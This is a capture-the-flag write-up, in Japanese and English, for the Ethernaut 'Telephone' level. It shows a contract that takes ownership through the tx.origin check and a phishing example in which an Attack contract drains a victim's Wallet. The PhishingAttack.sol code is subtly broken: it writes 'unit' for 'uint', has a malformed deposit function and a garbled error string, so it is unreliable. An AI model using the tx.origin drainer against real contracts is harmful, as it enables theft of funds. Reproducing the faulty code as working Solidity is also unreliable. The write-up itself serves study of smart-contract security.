Ethernaut-solution 4. Telephone
Ethernaut-solution
4. Telephone
Claim ownership of the contract below to complete this level.
- Remix IDEのコツ
**prerequsite:
Environmentは必ず 【Injected Web3】でやる
compile時にgas代
deploy時にgas代
まず事前に用意しておいた Telephone.sol をcompile
TelephoneHack.solを書く,compile => deploy of contract address
contract.address
'0x6A2449B7f82499832F4Ced39a886c75397c77f61'
Contract.owner()でowner addressを確認
await contract.owner()
'0x0b6F6CE4BCfB70525A31454292017F640C10c768'
Deployed Contractからfunction hackContractを呼び出して
自分のウォレットのアドレスを入力
'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'
changeOwnerできているか確認。my wallet addressになっていたらsuccess!
await contract.owner()
'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5' //success
//Telephone.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
//TelephoneHack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Telephone.sol";
contract TelephoneHack {
Telephone telContract;
constructor(address _address) public {
telContract = Telephone(_address);
}
function hackContract(address _address) public {
telContract.changeOwner(_address);
}
}
While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this.
An example of a possible attack is outlined below.
Use tx.origin to determine whose tokens to transfer, e.g.
function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}
Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
function () payable {
token.transfer(attackerAddress, 10000);
}
In this scenario, tx.origin will be the victims address (while msg.sender will be the malicious contracts address),
resulting in the funds being transferred from the victim to the attacker.
//PhishingAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*Phishing attack using tx.origin */
//Dale -> Wallet.transfer() (tx.origin = Dale)
//Dale -> Laura's malicious contract -> Wallet.transfer() (tx.origin = Dale)
contract Wallet {
address public owner;
constructor() public { //anyone can deploy
owner = msg.sender;
}
function deposit() public payable ()
function transfer(address payable _to, unit _amount) public {//specifier amount
require(tx.origin == owner, "Now owner"); //dale withdraw money here, sending transaction
_to.transfer(_amount); //she can suck out or withdraw all the money inside of this contract
}
function getBalance() public view returns(unit) {
return address(this).balance;
}
}
contract Attack {
address payable public owner;
Wallet wallet;
constructor(Wallet _wallet) public {
wallet = Wallet(_wallet); //Don't write" new" prefix.
owner = msg.sender; //laura is gonna be owner
}
function attack() public {
wallet.transfer(owner, address(wallet).balance);//entire balance
}//Laura can fool dale calling this attaack, call wallet contract address of wallet.balance
}
Discussion